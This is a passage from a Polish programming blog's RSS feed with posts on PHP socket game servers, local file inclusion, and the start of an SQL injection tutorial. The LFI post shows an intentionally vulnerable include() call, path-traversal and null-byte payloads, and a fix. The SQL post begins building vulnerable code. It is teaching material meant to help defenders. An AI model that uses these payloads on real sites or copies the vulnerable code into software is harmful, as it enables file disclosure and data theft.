<p>Następnie sprawdzamy każde z gniazd z tablicy <em>$changedSockets</em>. Jeśli gniazdo jest tym samym co gniazdo główne serwera oznacza to, że nowy użytkownik chce ustanowić połączenie. Robimy to tworząc nowe gniazdo i dopisując informacje o nim do tablic <em>$this-&gt;sockets</em> oraz <em>$this-&gt;clients</em>. W przypadku innych gniazd odczytywane są dane przesyłane do serwera.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_read</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; <span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Używam funkcji trim() aby wyczyścić dane przychodzące do serwera z różnych niepotrzebnych białych znaków.</p>
<p>Pozostały kod to pseudo-protokół chatu. W przypadku przesłania komunikatu pustego lub wiadomości <em>exit</em> połączenie z użytkownikiem jest zrywane. Polecenie <em>hello</em> jest czysto demonstracyjne. W przypadku wpisania <em>list</em> pojawia się lista identyfikatorów innych użytkowników dostępnych aktualnie lub komunikat o ich braku. Wysyłanie komunikatów do innych użytkowników odbywa się w następujący sposób:</p>
<p>ID komunikat</p>
<p>Jeżeli ID wynosi zero wiadomość jest przesyłana do wszystkich uczestników chatu.</p>
<p>Serwer ten wciąż nie jest idealny. Nie zabezpiecza on przed połączeniem się zbyt dużej ilości użytkowników. Protokół również jest dosyć dziwny. W zasadzie stworzyłem go jedynie w celach edukacyjnych. Proponowałbym jego wymianę na coś przyjaźniejszego. Co warto dopisać do takiego serwera? Można spróbować uporać się z problemem pokojów dla różnych grup użytkowników. Zapewne te rzeczy opiszę niebawem na blogu lecz tymczasowo zrobię przerwę z php. Już niebawem sporo informacji na temat rysowania w obiekcie Canvas. Może zrobić jakąś fajną planszę w rzucie izometrycznym?</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/256/serwer-gry-czesc-druga/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Serwer gry. Część pierwsza.</title>
		<link>http://srodek.info/blog/227/serwer-gry-czesc-pierwsza</link>
		<comments>http://srodek.info/blog/227/serwer-gry-czesc-pierwsza#comments</comments>
		<pubDate>Thu, 13 May 2010 22:47:15 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Gry]]></category>
		<category><![CDATA[Moje projekty]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=227</guid>
		<description><![CDATA[Pisząc grę internetową trzeba zastanowić się nad sposobem komunikacji między graczami oraz bazą danych. W przypadku aplikacji przeglądarkowych dużego wyboru nie ma. Praktycznie wszystkie gry wykorzystują technologię AJAX. Jak to działa w praktyce? Nie za dobrze. Spróbujmy stworzyć coś dużo bardziej wydajniejszego. Sposób działania technologi AJAX AJAX to rozwiązanie jednostronne. Klient prosi serwer o pewne [...]]]></description>
			<content:encoded><![CDATA[<p>Pisząc grę internetową trzeba zastanowić się nad sposobem komunikacji między graczami oraz bazą danych. W przypadku aplikacji przeglądarkowych dużego wyboru nie ma. Praktycznie wszystkie gry wykorzystują technologię AJAX. Jak to działa w praktyce? Nie za dobrze. Spróbujmy stworzyć coś dużo bardziej wydajniejszego.</p>
<p><span id="more-227"></span></p>
<h3>Sposób działania technologi AJAX</h3>
<p>AJAX to rozwiązanie jednostronne. Klient prosi serwer o pewne informacje, a ten je wysyła użytkownikowi. Serwer nie posiada dokładnych informacji na temat ilości aktualnie połączonych użytkowników oraz nie może wysłać do żadnego z nich samodzielnie żadnej informacji(tj. może jedynie odpowiadać na ich zapytania).</p>
<p style="text-align:center;"><a href="http://srodek.info/wp-content/uploads/2010/05/ajax.png"><img src="http://srodek.info/wp-content/uploads/2010/05/ajax.png" alt="" title="Schemat działania technologi AJAX" width="540" height="200" class="aligncenter size-full wp-image-231" /></a><br />
<em>Kocham robić te fajne obrazki i choć nie mają one niczego wspólnego z UML-em mam nadzieję, że jesteś w stanie je odczytywać</em></p>
<p>Przeanalizujmy przykład czatu internetowego w którym mamy trzech użytkowników(Client1, Client2, Client3). Pierwszy z nich chce wysłać informację do trzeciego. Wygląda to następująco:</p>
<ul>
<li>(1) Client1 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(2) Client2 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(3) Client3 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(4) Client1 wysyła do serwera wiadomość przeznaczoną dla użytkownika Client3. Serwer zwraca informację o przyjęciu danych.</li>
<li>(4,5) Serwer zapisuje wiadomość do swojego bufora(w tym przykładzie bazy danych)</li>
<li>(5) Client2 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(6) Client3 pyta serwer czy są jakieś wiadomości do niego.</li>
<li>(6,5) Serwer odczytuje z bazy danych wiadomość oraz zwraca ją użytkownikowi.</li>
<li>(7) Client1 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(8) Client2 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(9) Client3 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.</li>
<li>(…)</li>
</ul>
<p>Jak widać wykonywanych jest wiele niepotrzebnych zapytań. Każdy z klientów musi stale wysłać zapytanie do serwera co w przypadku małego czasu może powodować spore zużycie procesora serwera. W sytuacji, gdy czas będzie większy w grze pojawią się lagi. Jak ten problem rozwiązuje się w „normalnych“ grach internetowych? Używane są gniazda.</p>
<h3>Jak działają gniazda</h3>
<p style="text-align:center"><a href="http://srodek.info/wp-content/uploads/2010/05/socket.png"><img src="http://srodek.info/wp-content/uploads/2010/05/socket.png" alt="" title="socket" width="540" height="200" class="aligncenter size-full wp-image-239" /></a><br />
<em>Szerokie linie oznaczają nasłuchiwanie serwera oraz klientów</em></p>
<p>Każdy z klientów musi ustanowić połączenie z serwerem. Serwer dla każdego z nich tworzy gniazdo za pomocą którego w dowolnym momencie może wysłać informację do jednego z użytkowników.</p>
<p>Wygląda to tak:</p>
<ul>
<li>(0) Client1, Client2, Client3 nawiązują połączenie z serwerem(tworzone są gniazda)</li>
<li>(1) Client1 wysyła wiadomość do serwera (serwer zwraca komunikat o sukcesie)</li>
<li>(2) Serwer odnajduje gniazdo trzeciego użytkownika</li>
<li>(3) Serwer wysyła wiadomość do Client3</li>
</ul>
<p>W odróżnieniu do technologi AJAX w tym przypadku nasz serwer napisany w php musi ciąglę nasłuchiwać, a więc proces tego skryptu musi być cały czas uruchomiony. W tym celu tworzy się pętlę nieskończoną, którą cięgle sprawdza stan gniazda serwera.</p>
<h3>Pierwsza implementacja</h3>
<p>Spróbujmy stworzyć pierwszy działający serwer. Nie będzie on pozwalał na przekazywanie danych innym użytkownikom, a połączenia nie będą utrzymywane.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #990000;">set_time_limit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> GameServer
<span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$master</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$address</span><span style="color: #339933;">;</span> 
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$port</span><span style="color: #339933;">;</span> 
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$maxClients</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #000088;">$address</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'127.0.0.1'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">14117</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxClients</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">address</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$address</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$port</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">maxClients</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$maxClients</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_create</span><span style="color: #009900;">&#40;</span>AF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> SOL_TCP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
		<span style="color: #990000;">socket_bind</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">address</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">socket_listen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
                        <span style="color: #666666; font-style: italic;">// akceptujemy połączenie, tworzymy gniazdo </span>
			<span style="color: #000088;">$socket</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_accept</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
			<span style="color: #666666; font-style: italic;">// odczytujemy informacje z gniazda</span>
			<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">socket_read</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
			<span style="color: #666666; font-style: italic;">// przygotowujemy dane do wysyłki</span>
			<span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Wyslales do serwera: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$input</span><span style="color: #339933;">.</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
			<span style="color: #666666; font-style: italic;">// Wysyłamy dane użytkownikowi</span>
			<span style="color: #990000;">socket_write</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                        <span style="color: #666666; font-style: italic;">// zamykamy połączenie z użytkownikiem</span>
			<span style="color: #990000;">socket_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$socket</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __desctruct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">// zamknięcie głównego gniazda</span>
		<span style="color: #990000;">socket_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">master</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$gameServer</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> GameServer<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Tworzymy obiekt $gameServer. W konstruktorze możemy podać kilka parametrów: adres i port pod jakim serwer będzie nasłuchiwał oraz maksymalną ilość użytkowników(ta zmienna nie jest używana w tym przykładzie lecz przyda się później).  </p>
<h4>Kilka słów o numeracji portów</h4>
<p class="quicknote">W przypadku IP w wersji czwartej do dyspozycji mamy 2<sup>16</sup> portów. Te o numerach poniżej 1024 wymagają uprawnień administracyjnych. W większości przypadków są one już zarezerwowane dla innych usług(np. 80 dla http, 23 dla ftp, 21 dla telnet itd.). Najwygodniej jest po prostu ich nie ruszać.</p>
<p>Do zmiennej $this-&gt;master zapisywane jest główne gniazdo serwera tworzone za pomocą socket_create(). To ono będzie odbierało wszystkie informacje przychodzące od innych użytkowników. Co oznaczają parametry wewnątrz?</p>
<ul>
<li>Pierwszy informuje jaka rodzina protokołów będzie używana w przypadku naszego gniazda. <em>AF_INET</em> określa, że będą to protokoły(TCP oraz UDP) w oparciu o IPv4. Możemy również poinformować o użyciu IPv6 zamieniając ten parametr na <em>AF_INET6</em>.</li>
<li>Drugi parametr określa rodzaj transmisji. Do wyboru mamy:
<ul>
<li><strong>SOCK_STREAM</strong> —  informacje przesyłane są w obu kierunkach jednocześnie, bez spadku transferu, sekwencyjnie oraz niezawodnie za pomocą strumieni bajtów. Bazowym protokołem jest TCP.</li>
<li><strong>SOCK_DGRAM</strong> — datagramowy protokół bezpołączeniowy z brakiem kontroli przepływu i retransmisji. Bazowym protokołem jest UDP(To jest dobry wybór w przypadku pisania gry internetowej!).</li>
<li><strong>SOCK_SEQPACKET</strong> — informacje przesyłane są w obu kierunkach jednocześnie, bez spadku transferu, sekwencyjnie. Od klienta wymagane jest aby odczytywane były całe pakiety przy każdym zapytaniu.</li>
<li><strong>SOCK_RAW</strong> — gniazdo RAW czyli bezpośredni do niego dostęp. Umożliwia to stworzenie własnego protokołu komunikacji. Opcja raczej dla zaawansowanych użytkowników.</li>
<li><strong>SOCK_RDM</strong> — niezawodna transmisja pakietów nie gwarantująca porządkowania pakietów. Ta opcja nie zadziała w wielu systemach operacyjnych. Raczej dla zaawansowanych użytkowników.</li>
</ul>
</li>
<li>Ostatni parametr to po prostu ID protokołu. W przypadku TCP oraz UDP możemy skorzystać ze stałych SOL_TCP(6) oraz SOL_UDP(17). Pełną listę identyfikatorów znajdziesz w <em>/etc/protocols</em></li>
</ul>
<p>W naszym przykładzie stworzyliśmy gniazdo wykorzystujące protokół TCP. W kolejnej lini informujemy nasze gniazdo pod jakim adresem i jaki port ma nasłuchiwać. Gdy to określimy uruchamiamy nasłuchiwanie.</p>
<p>Ten proces jest bardzo prosty. Stworzona została pętla nieskończona, która przy każdym obrocie akceptuje gniazdo przychodzące. następnie odczytuje z niego dane, odsyła je do użytkownika oraz zamyka połączenie. Serwer uruchomiony raz będzie działał w nieskończoność(prawie w nieskończoność <img src='http://srodek.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) więc ważne jest aby wyłączyć sprawdzanie czasu wykonywania się skryptu. W tym celu w pierwszej linijce kodu widnieje wywołanie funkcji set_time_limit()</p>
<h3>Testujemy serwer</h3>
<p>Uruchom konsolę z dwoma zakładkami. Aby uruchomić nasz serwer w pierwszej wpisz:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php server.php</pre></div></div>

<p>W drugiej spróbujmy aktywował połączenie</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">hellson<span style="color: #000000; font-weight: bold;">@</span>hellson:~<span style="color: #000000; font-weight: bold;">&gt;</span> telnet 127.0.0.1 <span style="color: #000000;">14117</span>
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is <span style="color: #ff0000;">'^]'</span>.
Hello
Wyslales <span style="color: #000000; font-weight: bold;">do</span> serwera: Hello
Connection closed by foreign host.
hellson<span style="color: #000000; font-weight: bold;">@</span>hellson:~<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div>

<p>W przypadku zamknięcia skryptu wykonany zostanie destruktor zamykający gniazdo główne.</p>
<p>Mam nadzieję, że ten artykuł ułatwił ci zrozumienie idei gniazd. Już jutro kontynuacja tematu. Ulepszę kod serwera tak aby odbierał informacje od różnych użytkowników jednocześnie. Połączenie będzie utrzymywane aż do momentu wpisania „exit“ przez użytkownika.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/227/serwer-gry-czesc-pierwsza/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Czym jest LFI?</title>
		<link>http://srodek.info/blog/177/czym-jest-lfi</link>
		<comments>http://srodek.info/blog/177/czym-jest-lfi#comments</comments>
		<pubDate>Sat, 20 Feb 2010 16:53:24 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=177</guid>
		<description><![CDATA[Zająłem się ostatnio w analizą konfiguracji PHP oraz sprawdzaniem w jakich okolicznościach jest możliwe dołączenie lub podglądanie plików php znajdujących się na serwerze. W kilku artykułach postaram się wyjaścić większość znanych mi technik. Rozpocznę od dosyć prostych i oczywistych, a w kolejnych częściach będę podnosił poprzeczkę usprawniając konfigurację serwera. Dzisiaj zaprezentuję na czym polega atak [...]]]></description>
			<content:encoded><![CDATA[<p>Zająłem się ostatnio w analizą konfiguracji PHP oraz sprawdzaniem w jakich okolicznościach jest możliwe dołączenie lub podglądanie plików php znajdujących się na serwerze. W kilku artykułach postaram się wyjaścić większość znanych mi technik. Rozpocznę od dosyć prostych i oczywistych, a w kolejnych częściach będę podnosił poprzeczkę usprawniając konfigurację serwera. Dzisiaj zaprezentuję na czym polega atak LFI(Local File Inclusion) polegający na uruchamianiu pliku dostępnego na serwerze.<br />
<span id="more-177"></span></p>
<p>Na atak są podatne strony wykorzystujące takie funkcje jak np. file(), file_get_contents(), include(), include_once(), require() i inne czytające dane z jakiegoś pliku. Ważne aby w paramtr określający adres czytanych zasobów był zależny od jakiejść zmiennej przesłanej przez użytkownika. Przykładowy(bardzo popularny) kod:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'strony/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.html'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Atak działa podobnie jak SQL Injection. Musimy tak spreparować adres aby odnosił się on do innego pliku. Spróbujmy wpisać:</p>
<pre class="urlbar">example.com?page=../index</pre>
<p>Skrypt powinien wczytać plik <em>strony/../index.html</em> czyli po prostu <em>index.html</em>. Problem stanowi rozszerzenie określone z góry przez programistę. Gdybyśmy się go pozbyli, możliwe byłoby dołączenie dowolnego pliku, do którego posiadamy uprawnienia. Zastanówmy się jednak w jaki sposób działają powyższe funkcje. Wiemy, że PHP jest pisany w C. Jako parametr podajemy ciąg znaków. Każdy programujący w C wie, że stringi w tym języku to po prostu tablice znaków wyglądające następująco:</p>
<pre class="console">Jakis ciag znakow\0</pre>
<p>Znakiem który określa zakończenie napisu jest znak zero. Jest to spowodowane tym, że tablica może mieć większy rozmiar niż długość napisu. Jezyk C jest tak napisany, że sam nie zeruje wartośći w pamięci na które wskazujemy więc brak znaku zero powodowałoby wyświetlanie „śmieci“ z pamięci. Tak więc dobrym pomysłem byłoby wszczepienie znaku \0 do naszego zapytania. Spróbujmy wpisać w adresie strony coś takiego:</p>
<pre class="urlbar">example.com?page=../index.php%00</pre>
<p>Jak zinterpretuje to PHP? Do funkcji include() zostanie przekazany ciąg znaków <em>strony/../index.php\0.html</em>. Funkcja include otrzymując w parametrze tablicę znaków wybierze wszystkie aż do znaku \0. W ten sposób końcówka .html zostanie uznana za śmieci z pamięci. Jak się chronić przed tym atakiem? Wystarczy prosty test poprawności przesyłanych danych:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^[a-zA-Z0-9]*$/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
  <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'strony/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.html'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Ograniczenia? Niestety możemy uruchomić jedynie pliki znajdujące się na serwerze. Jest jednak kilka sposobów aby sobie z tym problemem poradzić. Następnym razem przedstawię jak uruchomić własny kod PHP w przypadku dziury przedstawionej w tym artykule oraz błędnej konfiguracji serwera.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/177/czym-jest-lfi/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Kilka słów o SQL Injection</title>
		<link>http://srodek.info/blog/155/kilka-slow-o-sql-injection</link>
		<comments>http://srodek.info/blog/155/kilka-slow-o-sql-injection#comments</comments>
		<pubDate>Sat, 13 Feb 2010 21:33:38 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=155</guid>
		<description><![CDATA[Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i [...]]]></description>
			<content:encoded><![CDATA[<p>Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i hasła użytkowników ze słabo zabezpieczonej witryny.<br />
<span id="more-155"></span></p>
<p>Stwórzmy przykładową bazę danych „hack“ aby pokazać jak to wygląda od drugiej strony.</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> articles<span style="color: #66cc66;">&#40;</span>
id int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
title varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
content text <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
author int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
category int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>
<span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> users<span style="color: #66cc66;">&#40;</span>
id int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
login varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
email varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
password varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
<span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p>Wypełnijmy je danymi:</p>
<pre class="console">
mysql> select * from articles;
+----+--------------+----------+--------+----------+
| id | title        | content  | author | category |
+----+--------------+----------+--------+----------+
|  1 | Artykul nr 1 | tresc... |      1 |        2 |
|  2 | Artykul nr 2 | tresc... |      3 |        1 |
|  3 | Artykul nr 3 | tresc... |      2 |        1 |
|  4 | Artykul nr 4 | tresc... |      3 |        2 |
+----+--------------+----------+--------+----------+
mysql> select * from users;
+----+--------+--------------------+----------------------------------+
| id | login  | email              | password                         |
+----+--------+--------------------+----------------------------------+
|  1 | Michal | michal@example.com | 1660fe5c81c4ce64a2611494c439e1ba |
|  2 | Magda  | romek@example.com  | 9d0250b24620c2056516e5d2d79eed4a |
|  3 | Romek  | romek@example.com  | 944278ab01f435bfc369fa038130f25b |
+----+--------+--------------------+----------------------------------+
</pre>
<p>Czas na kod PHP odpowiedzialny za pobieranie artykułów. Pomijam filtrowanie zmiennych przychodzących. Wygląda to mniej więcej tak:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$mysqli</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> mysqli<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'localhost'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'hack'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
